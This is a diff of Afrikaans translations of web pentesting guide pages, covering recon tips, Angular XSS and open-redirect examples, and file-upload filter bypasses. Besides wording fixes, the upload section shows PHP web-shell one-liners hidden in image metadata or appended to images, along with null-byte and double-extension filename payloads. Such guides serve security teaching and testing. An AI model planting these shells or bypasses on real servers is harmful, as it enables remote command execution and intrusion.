- As jy **CTF** speel, is 'n "gewone" truuk om **inligting** te **versteek** binne kommentaar aan die **regterkant** van die **bladsy** (met behulp van **honderde** **spasies** sodat jy nie die data sien as jy die bronkode met die blaasker oopmaak nie). 'n Ander moontlikheid is om **verskeie nuwe lyne** te gebruik en **inligting** in 'n kommentaar aan die **onderkant** van die webblad te versteek.
|
||||
- **API sleutels**: As jy **enige API-sleutel** vind, is daar 'n gids wat aandui hoe om API-sleutels van verskillende platforms te gebruik: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird).
|
||||
- Google API sleutels: As jy enige API-sleutel vind wat lyk soos **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik kan jy die projek [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) gebruik om te kyk watter API's die sleutel kan toegang.
|
||||
- **S3 Buckets**: Terwyl jy spider, kyk of enige **subdomein** of enige **skakel** verband hou met 'n **S3-bucket**. In daardie geval, [**kontroleer** die **toestemmings** van die bucket](buckets/index.html).
|
||||
|
||||
@ -287,17 +287,17 @@ _Nota dat enige tyd 'n nuwe directory ontdek word tydens brute-forcing of spider
|
||||
|
||||
**Interessante lêers**
|
||||
|
||||
- Soek vir **skakels** na ander lêers binne die **CSS** lêers.
|
||||
- [As jy 'n _**.git**_ lêer vind, kan sommige inligting onttrek word](git.md)
|
||||
- As jy 'n _**.env**_ vind, kan inligting soos API-sleutels, databasis wagwoorde en ander inligting gevind word.
|
||||
- Soek na **skakels** na ander lêers binne die **CSS** lêers.
|
||||
- [As jy 'n _**.git**_ lêer vind, kan sommige inligting onttrek word](git.md).
|
||||
- As jy 'n _**.env**_ lêer vind, kan inligting soos API-sleutels, databasis wagwoorde en ander inligting gevind word.
|
||||
- As jy **API eindpunte** vind, [moet jy dit ook toets](web-api-pentesting.md). Hierdie is nie lêers nie, maar sal waarskynlik "soos" hulle lyk.
|
||||
- **JS-lêers**: In die spidering afdeling is verskeie hulpmiddels genoem wat paaie uit JS-lêers kan onttrek. Dit sal ook interessant wees om **elke JS-lêer wat gevind is** te **monitor**, aangesien 'n verandering kan aandui dat 'n potensiële kwesbaarheid in die kode bekendgestel is. Jy kan byvoorbeeld [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
- **JS-lêers**: In die spidering afdeling is verskeie hulpmiddels genoem wat paaie uit JS-lêers kan onttrek. Dit sal ook interessant wees om **elke JS-lêer wat gevind is** te monitor, aangesien 'n verandering kan aandui dat 'n potensiële kwesbaarheid in die kode ingevoer is. Jy kan byvoorbeeld [**JSMon**](https://github.com/robre/jsmon)**.** gebruik.
|
||||
- Jy moet ook ontdekte JS-lêers met [**RetireJS**](https://github.com/retirejs/retire.js/) of [**JSHole**](https://github.com/callforpapers-source/jshole) kontroleer om te vind of dit kwesbaar is.
|
||||
- **Javascript Deobfuscator en Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
- **JsFuck deobfuscation** (javascript met karakters:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
|
||||
- **Javascript Deobfuscator en Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator).
|
||||
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org).
|
||||
- **JsFuck deobfuscation** (javascript met karakters:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)).
|
||||
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
- Op verskeie geleenthede, sal jy moet **die regulêre uitdrukkings** wat gebruik word verstaan. Dit sal nuttig wees: [https://regex101.com/](https://regex101.com) of [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- Op verskeie geleenthede sal jy moet **die regulêre uitdrukkings** wat gebruik word verstaan. Dit sal nuttig wees: [https://regex101.com/](https://regex101.com) of [https://pythonium.net/regex](https://pythonium.net/regex).
|
||||
- Jy kan ook **die lêers monitor waar vorms gedetecteer is**, aangesien 'n verandering in die parameter of die verskyning van 'n nuwe vorm 'n potensiële nuwe kwesbare funksionaliteit kan aandui.
|
||||
|
||||
**403 Verbode/Basiese Verifikasie/401 Nie-toegelaat (omseiling)**
|
||||
@ -312,13 +312,13 @@ As enige bladsy **antwoord** met daardie **kode**, is dit waarskynlik 'n **sleg
|
||||
|
||||
**NTLM Verifikasie - Inligtingsontsluiting**
|
||||
|
||||
As die bediener wat verifikasie vra **Windows** is of jy 'n aanmeld vind wat om jou **akkrediteer** (en vra vir **domein** **naam**), kan jy 'n **inligtingsontsluiting** veroorsaak.\
|
||||
As die bediener wat verifikasie vra **Windows** is of jy 'n aanmeld vra wat om jou **akkrediteer** (en vra vir **domein** **naam**), kan jy 'n **inligtingsontsluiting** veroorsaak.\
|
||||
**Stuur** die **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` en as gevolg van hoe die **NTLM verifikasie werk**, sal die bediener met interne inligting (IIS weergawe, Windows weergawe...) binne die header "WWW-Authenticate" antwoordgee.\
|
||||
Jy kan **dit outomatiseer** met die **nmap plugin** "_http-ntlm-info.nse_".
|
||||
|
||||
**HTTP Oorplasing (CTF)**
|
||||
|
||||
Dit is moontlik om **inhoud** binne 'n **Oorplasing** te **sit**. Hierdie inhoud **sal nie aan die gebruiker** gewys word (aangesien die blaaiers die oorplasing sal uitvoer) nie, maar iets kan **versteek** wees daarin.
|
||||
Dit is moontlik om **inhoud** binne 'n **Oorplasing** te plaas. Hierdie inhoud **sal nie aan die gebruiker** gewys word (aangesien die blaasker die oorplasing sal uitvoer) nie, maar iets kan **versteek** wees daarin.
|
||||
|
||||
### Web Kwesbaarhede Kontroleer
|
||||
|
||||
|
@ -8,7 +8,7 @@ Kontrolelys [van hier](https://lsgeurope.com/post/angular-security-checklist).
|
||||
* [ ] Sourcemap vir skrifte is gedeaktiveer in die projekkonfigurasie
|
||||
* [ ] Onbetroubare gebruikersinvoer word altyd geïnterpoleer of gesaniteer voordat dit in sjablone gebruik word
|
||||
* [ ] Die gebruiker het geen beheer oor bediener-kant of kliënt-kant sjablone nie
|
||||
* [ ] Onbetroubare gebruikersinvoer word gesaniteer met 'n toepaslike sekuriteitskonteks voordat dit deur die toepassing vertrou word
|
||||
* [ ] Onbetroubare gebruikersinvoer word gesaniteer met 'n toepaslike sekuriteitskonteks voordat dit deur die aansoek vertrou word
|
||||
* [ ] `BypassSecurity*` metodes word nie gebruik met onbetroubare invoer nie
|
||||
* [ ] Onbetroubare gebruikersinvoer word nie aan Angular klasse soos `ElementRef`, `Renderer2` en `Document`, of ander JQuery/DOM sinks deurgegee nie
|
||||
|
||||
@ -39,17 +39,17 @@ my-workspace/
|
||||
├── angular.json #provides workspace-wide and project-specific configuration defaults
|
||||
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
|
||||
```
|
||||
Volgens die dokumentasie het elke Angular-toepassing ten minste een komponent, die wortelkomponent (`AppComponent`) wat 'n komponenthiërargie met die DOM verbind. Elke komponent definieer 'n klas wat toepassingsdata en -logika bevat, en is geassosieer met 'n HTML-sjabloon wat 'n weergawe definieer wat in 'n teikenomgewing vertoon moet word. Die `@Component()` dekorator identifiseer die klas onmiddellik onder dit as 'n komponent, en verskaf die sjabloon en verwante komponent-spesifieke metadata. Die `AppComponent` is gedefinieer in die `app.component.ts`-lêer.
|
||||
Volgens die dokumentasie het elke Angular-toepassing ten minste een komponent, die wortelkomponent (`AppComponent`) wat 'n komponenthiërargie met die DOM verbind. Elke komponent definieer 'n klas wat toepassingsdata en -logika bevat, en is geassosieer met 'n HTML-sjabloon wat 'n weergawe definieer wat in 'n teikenomgewing vertoon moet word. Die `@Component()` dekorator identifiseer die klas onmiddellik daaronder as 'n komponent, en verskaf die sjabloon en verwante komponent-spesifieke metadata. Die `AppComponent` is gedefinieer in die `app.component.ts`-lêer.
|
||||
|
||||
Angular NgModules verklaar 'n kompilasiekonteks vir 'n stel komponente wat toegewy is aan 'n toepassingsdomein, 'n werksvloei, of 'n nou verwante stel vermoëns. Elke Angular-toepassing het 'n wortelmodule, konvensioneel genoem `AppModule`, wat die opstartmeganisme verskaf wat die toepassing begin. 'n Toepassing bevat tipies baie funksionele modules. Die `AppModule` is gedefinieer in die `app.module.ts`-lêer.
|
||||
Angular NgModules verklaar 'n kompileringskonteks vir 'n stel komponente wat toegewy is aan 'n toepassingsdomein, 'n werksvloei, of 'n nou verwante stel vermoëns. Elke Angular-toepassing het 'n wortelmodule, konvensioneel genoem `AppModule`, wat die opstartmeganisme verskaf wat die toepassing begin. 'n Toepassing bevat tipies baie funksionele modules. Die `AppModule` is gedefinieer in die `app.module.ts`-lêer.
|
||||
|
||||
Die Angular `Router` NgModule bied 'n diens wat jou toelaat om 'n navigasiepunt tussen die verskillende toepassingsstate en weergavehiërargieë in jou toepassing te definieer. Die `RouterModule` is gedefinieer in die `app-routing.module.ts`-lêer.
|
||||
Die Angular `Router` NgModule verskaf 'n diens wat jou toelaat om 'n navigasiepunt tussen die verskillende toepassingsstate en weergavehiërargieë in jou toepassing te definieer. Die `RouterModule` is gedefinieer in die `app-routing.module.ts`-lêer.
|
||||
|
||||
Vir data of logika wat nie geassosieer is met 'n spesifieke weergawe nie, en wat jy oor komponente wil deel, skep jy 'n diensklas. 'n Diensklasdefinisie word onmiddellik voorafgegaan deur die `@Injectable()` dekorator. Die dekorator verskaf die metadata wat toelaat dat ander verskaffers as afhanklikhede in jou klas ingespuit kan word. Afhanklikheidsinjeksie (DI) laat jou toe om jou komponentklasse slank en doeltreffend te hou. Hulle haal nie data van die bediener af nie, valideer nie gebruikersinvoer nie, of log nie direk na die konsole nie; hulle delegeer sulke take aan dienste.
|
||||
|
||||
## Sourcemap konfigurasie
|
||||
|
||||
Die Angular-raamwerk vertaal TypeScript-lêers na JavaScript-kode deur die `tsconfig.json` opsies te volg en bou dan 'n projek met `angular.json` konfigurasie. Kyk na die `angular.json`-lêer, het ons 'n opsie opgemerk om 'n sourcemap in te skakel of te deaktiveer. Volgens die Angular-dokumentasie het die standaardkonfigurasie 'n sourcemap-lêer wat geaktiveer is vir skrifte en is nie standaard versteek nie:
|
||||
Die Angular-raamwerk vertaal TypeScript-lêers na JavaScript-kode deur die `tsconfig.json` opsies te volg en bou dan 'n projek met `angular.json` konfigurasie. Kyk na die `angular.json`-lêer, het ons 'n opsie waargeneem om 'n sourcemap in te skakel of te deaktiveer. Volgens die Angular-dokumentasie het die standaardkonfigurasie 'n sourcemap-lêer geaktiveer vir skrifte en is dit nie standaard versteek nie:
|
||||
```json
|
||||
"sourceMap": {
|
||||
"scripts": true,
|
||||
@ -58,9 +58,9 @@ Die Angular-raamwerk vertaal TypeScript-lêers na JavaScript-kode deur die `tsco
|
||||
"hidden": false
|
||||
}
|
||||
```
|
||||
Algemeen word sourcemap-lêers gebruik vir foutopsporing, aangesien hulle gegenereerde lêers aan hul oorspronklike lêers koppel. Daarom word dit nie aanbeveel om hulle in 'n produksie-omgewing te gebruik nie. As sourcemaps geaktiveer is, verbeter dit die leesbaarheid en help dit met lêeranalisering deur die oorspronklike toestand van die Angular-projek te herhaal. As hulle egter gedeaktiveer is, kan 'n beoordelaar steeds 'n saamgestelde JavaScript-lêer handmatig analiseer deur te soek na anti-sekuriteitspatrone.
|
||||
Algemeen word sourcemap-lêers gebruik vir foutopsporing, aangesien hulle gegenereerde lêers aan hul oorspronklike lêers koppel. Daarom word dit nie aanbeveel om hulle in 'n produksie-omgewing te gebruik nie. As sourcemaps geaktiveer is, verbeter dit die leesbaarheid en help dit met lêeranalise deur die oorspronklike toestand van die Angular-projek te herhaal. As hulle egter gedeaktiveer is, kan 'n beoordelaar steeds 'n saamgestelde JavaScript-lêer handmatig ontleed deur te soek na anti-sekuriteitspatrone.
|
||||
|
||||
Verder kan 'n saamgestelde JavaScript-lêer met 'n Angular-projek in die blaaier ontwikkelaar gereedskap → Bronne (of Foutopsporing en Bronne) → \[id].main.js gevind word. Afhangende van die geaktiveerde opsies, kan hierdie lêer die volgende ry aan die einde bevat `//# sourceMappingURL=[id].main.js.map` of dit mag nie wees nie, as die **hidden** opsie op **true** gestel is. Nietemin, as die sourcemap vir **scripts** gedeaktiveer is, word toetsing meer kompleks, en ons kan nie die lêer verkry nie. Boonop kan sourcemap geaktiveer word tydens projekbou soos `ng build --source-map`.
|
||||
Verder kan 'n saamgestelde JavaScript-lêer met 'n Angular-projek in die blaaier ontwikkelaarstoestelle gevind word → Bronne (of Foutopsporing en Bronne) → \[id].main.js. Afhangende van die geaktiveerde opsies, kan hierdie lêer die volgende ry aan die einde bevat `//# sourceMappingURL=[id].main.js.map` of dit mag nie, as die **hidden** opsie op **true** gestel is nie. Nietemin, as die sourcemap vir **scripts** gedeaktiveer is, word toetsing meer kompleks, en ons kan nie die lêer verkry nie. Daarbenewens kan sourcemap tydens projekbou geaktiveer word soos `ng build --source-map`.
|
||||
|
||||
## Data binding
|
||||
|
||||
@ -68,20 +68,20 @@ Binding verwys na die proses van kommunikasie tussen 'n komponent en sy ooreenst
|
||||
|
||||
Ons kan binding klassifiseer volgens datastroom:
|
||||
|
||||
* Datasoort na weergawe teiken (sluit _interpolasie_, _eienskappe_, _attribuut_, _klasse_ en _styl_ in); kan toegepas word deur `[]` of `{{}}` in die sjabloon te gebruik;
|
||||
* Weergawe teiken na datasoort (sluit _gebeurtenisse_ in); kan toegepas word deur `()` in die sjabloon te gebruik;
|
||||
* Datasoort na weergawe-teiken (sluit _interpolasie_, _eienskappe_, _attribuut_, _klasse_ en _styl_ in); kan toegepas word deur `[]` of `{{}}` in die sjabloon te gebruik;
|
||||
* Weergawe-teiken na datasoort (sluit _gebeurtenisse_ in); kan toegepas word deur `()` in die sjabloon te gebruik;
|
||||
* Twee-rigting; kan toegepas word deur `[()]` in die sjabloon te gebruik.
|
||||
|
||||
Binding kan op eienskappe, gebeurtenisse en attribuut, sowel as op enige publieke lid van 'n bronrigting genoem word:
|
||||
Binding kan op eienskappe, gebeurtenisse en attribuut aangeroep word, sowel as op enige publieke lid van 'n bronrigting:
|
||||
|
||||
| Tipe | Teiken | Voorbeelde |
|
||||
| --------- | -------------------------------------------------------- | ------------------------------------------------------------------ |
|
||||
| Eiendom | Element eiendom, Komponent eiendom, Rigting eiendom | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
|
||||
| Gebeurtenis | Element gebeurtenis, Komponent gebeurtenis, Rigting gebeurtenis | \<button type="button" (click)="onSave()">Save |
|
||||
| Twee-rigting | Gebeurtenis en eiendom | \<input \[(ngModel)]="name"> |
|
||||
| Eiendom | Elementeiendom, Komponenteiendom, Rigtingeiendom | \<img \[alt]="hero.name" \[src]="heroImageUrl"> |
|
||||
| Gebeurtenis| Elementgebeurtenis, Komponentegebeurtenis, Rigtinggebeurtenis | \<button type="button" (click)="onSave()">Save |
|
||||
| Twee-rigting| Gebeurtenis en eiendom | \<input \[(ngModel)]="name"> |
|
||||
| Attribuut | Attribuut (die uitsondering) | \<button type="button" \[attr.aria-label]="help">help |
|
||||
| Klas | klas eiendom | \<div \[class.special]="isSpecial">Special |
|
||||
| Styl | styl eiendom | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
|
||||
| Klas | klas eiendom | \<div \[class.special]="isSpecial">Special |
|
||||
| Styl | styl eiendom | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
|
||||
|
||||
## Angular sekuriteitsmodel
|
||||
|
||||
@ -115,8 +115,8 @@ Daar is 6 tipes `SecurityContext` :
|
||||
* `None`;
|
||||
* `HTML` word gebruik wanneer die waarde as HTML geïnterpreteer word;
|
||||
* `STYLE` word gebruik wanneer CSS in die `style` eiendom gebind word;
|
||||
* `URL` word gebruik vir URL eiendomme, soos `<a href>`;
|
||||
* `SCRIPT` word gebruik vir JavaScript kode;
|
||||
* `URL` word gebruik vir URL-eienskappe, soos `<a href>`;
|
||||
* `SCRIPT` word gebruik vir JavaScript-kode;
|
||||
* `RESOURCE_URL` as 'n URL wat as kode gelaai en uitgevoer word, byvoorbeeld, in `<script src>`.
|
||||
|
||||
## Kwesbaarhede
|
||||
@ -149,7 +149,7 @@ this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https:/
|
||||
//resultaat
|
||||
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
|
||||
```
|
||||
3. `bypassSecurityTrustHtml` word gebruik om aan te dui dat die gegewe waarde veilige HTML is. Let daarop dat die invoeging van `script` elemente in die DOM-boom op hierdie manier nie sal veroorsaak dat hulle die ingeslote JavaScript kode uitvoer nie, as gevolg van hoe hierdie elemente aan die DOM-boom bygevoeg word.
|
||||
3. `bypassSecurityTrustHtml` word gebruik om aan te dui dat die gegewe waarde veilige HTML is. Let daarop dat die invoeging van `script` elemente in die DOM-boom op hierdie manier nie sal veroorsaak dat hulle die ingeslote JavaScript-kode uitvoer nie, as gevolg van hoe hierdie elemente aan die DOM-boom bygevoeg word.
|
||||
|
||||
```jsx
|
||||
//app.component.ts
|
||||
@ -162,7 +162,7 @@ this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg
|
||||
<h1>html tag</h1>
|
||||
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
|
||||
```
|
||||
4. `bypassSecurityTrustScript` word gebruik om aan te dui dat die gegewe waarde veilige JavaScript is. Ons het egter gevind dat die gedrag daarvan onvoorspelbaar is, omdat ons nie JS kode in sjablone kon uitvoer nie met hierdie metode.
|
||||
4. `bypassSecurityTrustScript` word gebruik om aan te dui dat die gegewe waarde veilige JavaScript is. Ons het egter gevind dat die gedrag daarvan onvoorspelbaar is, omdat ons nie JS-kode in sjablone kon uitvoer nie met hierdie metode.
|
||||
|
||||
```jsx
|
||||
//app.component.ts
|
||||
@ -191,7 +191,7 @@ Angular bied 'n `sanitize` metode aan om data te sanitiseren voordat dit in weer
|
||||
|
||||
### HTML inspuiting
|
||||
|
||||
Hierdie kwesbaarheid gebeur wanneer gebruikersinvoer aan enige van die drie eienskappe gebind word: `innerHTML`, `outerHTML`, of `iframe` `srcdoc`. Terwyl binding aan hierdie attribuut HTML interpreteer soos dit is, word die invoer gesaniteer met behulp van `SecurityContext.HTML`. Dus, HTML-inspuiting is moontlik, maar kruis-web scripting (XSS) is nie.
|
||||
Hierdie kwesbaarheid ontstaan wanneer gebruikersinvoer aan enige van die drie eienskappe gebind word: `innerHTML`, `outerHTML`, of `iframe` `srcdoc`. Terwyl binding aan hierdie attribuut HTML interpreteer soos dit is, word die invoer gesanitisereer met behulp van `SecurityContext.HTML`. Dus, HTML-inspuiting is moontlik, maar kruis-web scripting (XSS) is nie.
|
||||
|
||||
Voorbeeld van die gebruik van `innerHTML`:
|
||||
```jsx
|
||||
@ -227,11 +227,11 @@ selector: 'app-root',
|
||||
template: '<h1>title</h1>' + _userInput
|
||||
})
|
||||
```
|
||||
Soos hierbo getoon, verwys `constructor` na die omvang van die Object `constructor` eienskap, wat ons in staat stel om die String constructor aan te roep en 'n arbitrêre kode uit te voer.
|
||||
Soos hierbo getoon: `constructor` verwys na die omvang van die Object `constructor` eienskap, wat ons in staat stel om die String constructor aan te roep en 'n arbitrêre kode uit te voer.
|
||||
|
||||
#### Server-Side Rendering (SSR)
|
||||
|
||||
In teenstelling met CSR, wat in die blaaiers se DOM plaasvind, is Angular Universal verantwoordelik vir SSR van sjabloonlêers. Hierdie lêers word dan aan die gebruiker gelewer. Ten spyte van hierdie onderskeid, pas Angular Universal dieselfde sanitasie-meganismes toe wat in CSR gebruik word om SSR-sekuriteit te verbeter. 'n Sjabloon-inspuitingskwesbaarheid in SSR kan op dieselfde manier opgespoor word as in CSR, omdat die gebruikte sjabloontaal dieselfde is.
|
||||
In teenstelling met CSR, wat in die blaaiers se DOM plaasvind, is Angular Universal verantwoordelik vir SSR van sjabloonlêers. Hierdie lêers word dan aan die gebruiker gelewer. Ten spyte van hierdie onderskeid, pas Angular Universal dieselfde sanitasie-meganismes toe wat in CSR gebruik word om SSR-sekuriteit te verbeter. 'n Sjabloon-inspuitingskwesbaarheid in SSR kan op dieselfde manier as in CSR opgespoor word, omdat die gebruikte sjabloontaal dieselfde is.
|
||||
|
||||
Natuurlik is daar ook 'n moontlikheid om nuwe sjabloon-inspuitingskwesbaarhede in te voer wanneer derdeparty-sjabloon-enjins soos Pug en Handlebars gebruik word.
|
||||
|
||||
@ -239,7 +239,7 @@ Natuurlik is daar ook 'n moontlikheid om nuwe sjabloon-inspuitingskwesbaarhede i
|
||||
|
||||
#### DOM interfaces
|
||||
|
||||
Soos voorheen vermeld, kan ons die DOM direk benader met die _Document_ interface. As gebruikersinvoer nie vooraf gevalideer word nie, kan dit lei tot cross-site scripting (XSS) kwesbaarhede.
|
||||
Soos voorheen vermeld, kan ons die DOM direk benader deur die _Document_ interface. As gebruikersinvoer nie vooraf gevalideer word nie, kan dit lei tot cross-site scripting (XSS) kwesbaarhede.
|
||||
|
||||
Ons het die `document.write()` en `document.createElement()` metodes in die voorbeelde hieronder gebruik:
|
||||
```jsx
|
||||
@ -377,7 +377,7 @@ Tydens ons navorsing het ons ook die gedrag van ander `Renderer2` metodes, soos
|
||||
|
||||
jQuery is 'n vinnige, klein, en kenmerkryke JavaScript-biblioteek wat in die Angular-projek gebruik kan word om te help met die manipulasie van die HTML DOM-objekte. Soos bekend, kan hierdie biblioteek se metodes egter uitgebuit word om 'n XSS-kwesbaarheid te bereik. Om te bespreek hoe sommige kwesbare jQuery metodes in Angular projekte uitgebuit kan word, het ons hierdie subafdeling bygevoeg.
|
||||
|
||||
* Die `html()` metode kry die HTML-inhoud van die eerste element in die stel van ooreenstemmende elemente of stel die HTML-inhoud van elke ooreenstemmende element. Deur ontwerp kan enige jQuery-konstruksie of metode wat 'n HTML-string aanvaar, potensieel kode uitvoer. Dit kan gebeur deur die inspuiting van `<script>` etikette of die gebruik van HTML-eienskappe wat kode uitvoer, soos in die voorbeeld getoon.
|
||||
* Die `html()` metode kry die HTML-inhoud van die eerste element in die stel van ooreenstemmende elemente of stel die HTML-inhoud van elke ooreenstemmende element. Deur ontwerp kan enige jQuery-konstruksie of metode wat 'n HTML-string aanvaar, potensieel kode uitvoer. Dit kan gebeur deur die inspuiting van `<script>`-tags of die gebruik van HTML-eienskappe wat kode uitvoer, soos in die voorbeeld getoon.
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -483,7 +483,7 @@ window.location.assign("https://google.com/about")
|
||||
|
||||
Hierdie metode vervang die huidige hulpbron met die een by die gegewe URL.
|
||||
|
||||
Dit verskil van die `assign()` metode omdat die huidige bladsy nie in sessiegeskiedenis gestoor sal word nie na gebruik van `window.location.replace()`. Dit is egter ook moontlik om 'n open redirect kwesbaarheid te benut wanneer ons beheer oor hierdie metode het.
|
||||
Dit verskil van die `assign()` metode in die sin dat na gebruik van `window.location.replace()`, die huidige bladsy nie in sessiegeskiedenis gestoor sal word nie. Dit is egter ook moontlik om 'n open redirect kwesbaarheid te benut wanneer ons beheer oor hierdie metode het.
|
||||
|
||||
```tsx
|
||||
//app.component.ts
|
||||
@ -558,7 +558,7 @@ console.log(this.location.go("http://google.com/about"));
|
||||
```
|
||||
|
||||
Resultaat: `http://localhost:4200/http://google.com/about`
|
||||
* Die Angular `Router` klas word hoofsaaklik gebruik om binne dieselfde domein te navigeer en voeg nie enige addisionele kwesbaarhede aan die toepassing toe nie:
|
||||
* Die Angular `Router` klas word hoofsaaklik gebruik om binne dieselfde domein te navigeer en voeg nie enige addisionele kwesbaarhede by die toepassing nie:
|
||||
|
||||
```jsx
|
||||
//app-routing.module.ts
|
||||
|
@ -15,9 +15,9 @@ Ander nuttige uitbreidings:
|
||||
- **Perl**: _.pl, .cgi_
|
||||
- **Erlang Yaws Web Server**: _.yaws_
|
||||
|
||||
### Oorbrug lêer uitbreidings kontrole
|
||||
### Omseil lêer uitbreidings kontrole
|
||||
|
||||
1. Indien van toepassing, **kontroleer** die **vorige uitbreidings.** Toets hulle ook met **hoofletters**: _pHp, .pHP5, .PhAr ..._
|
||||
1. As dit van toepassing is, **kontroleer** die **vorige uitbreidings.** Toets dit ook met **hoofletters**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Kontroleer **om 'n geldige uitbreiding voor** die uitvoeringsuitbreiding toe te voeg (gebruik ook vorige uitbreidings):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
@ -31,7 +31,7 @@ Ander nuttige uitbreidings:
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. Probeer om die beskermings te omseil deur die **uitbreidingsparser** van die bediener-kant te mislei met tegnieke soos **dubbel** die **uitbreiding** of **rommel** data (**null** bytes) tussen uitbreidings. _Jy kan ook die **vorige uitbreidings** gebruik om 'n beter payload voor te berei._
|
||||
4. Probeer om die beskermings te omseil **deur die uitbreiding parser** van die bediener-kant te mislei met tegnieke soos **dubbel** die **uitbreiding** of **rommel** data (**null** bytes) tussen uitbreidings. _Jy kan ook die **vorige uitbreidings** gebruik om 'n beter payload voor te berei._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
@ -43,7 +43,7 @@ Ander nuttige uitbreidings:
|
||||
5. Voeg **nog 'n laag van uitbreidings** by die vorige kontrole:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. Probeer om die **exec-uitbreiding voor die geldige uitbreiding** te plaas en bid dat die bediener verkeerd geconfigureer is. (nuttig om Apache misconfigurasies te benut waar enigiets met die uitbreiding\*\* _**.php**_**, maar** nie noodwendig eindig in .php\*\* nie, sal kode uitvoer):
|
||||
6. Probeer om die **exec uitbreiding voor die geldige uitbreiding** te plaas en bid dat die bediener verkeerd geconfigureer is. (nuttig om Apache misconfigurasies te benut waar enigiets met uitbreiding\*\* _**.php**_**, maar** nie noodwendig eindig in .php\*\* sal kode uitvoer):
|
||||
- _bv: file.php.png_
|
||||
7. Gebruik **NTFS alternatiewe datastroom (ADS)** in **Windows**. In hierdie geval sal 'n kolonkarakter “:” na 'n verbode uitbreiding ingevoeg word en voor 'n toegelate een. As gevolg hiervan sal 'n **leë lêer met die verbode uitbreiding** op die bediener geskep word (bv. “file.asax:.jpg”). Hierdie lêer kan later met ander tegnieke soos die gebruik van sy kort lêernaam gewysig word. Die “**::$data**” patroon kan ook gebruik word om nie-leë lêers te skep. Daarom kan dit nuttig wees om 'n puntkarakter na hierdie patroon toe te voeg om verdere beperkings te omseil (.bv. “file.asp::$data.”)
|
||||
8. Probeer om die lêernaam beperkings te breek. Die geldige uitbreiding word afgesny. En die kwaadwillige PHP bly oor. AAA<--SNIP-->AAA.php
|
||||
@ -59,22 +59,22 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
|
||||
### Oorbrug Inhoud-Tipe, Magic Number, Kompressie & Herverhouding
|
||||
### Omseil Inhoud-Tipe, Magic Nommer, Kompressie & Hervergroting
|
||||
|
||||
- Oorbrug **Inhoud-Tipe** kontrole deur die **waarde** van die **Inhoud-Tipe** **kop** in te stel op: _image/png_ , _text/plain , application/octet-stream_
|
||||
- Om **Inhoud-Tipe** kontrole te omseil deur die **waarde** van die **Inhoud-Tipe** **kop** in te stel op: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Inhoud-Tipe **woordlys**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- Oorbrug **magic number** kontrole deur aan die begin van die lêer die **bytes van 'n werklike beeld** toe te voeg (verwar die _file_ opdrag). Of stel die shell in die **metadata** in:\
|
||||
- Om **magic number** kontrole te omseil deur aan die begin van die lêer die **bytes van 'n werklike beeld** toe te voeg (verwar die _file_ opdrag). Of stel die shell in die **metadata** in:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` of jy kan ook die **payload direk** in 'n beeld invoeg:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
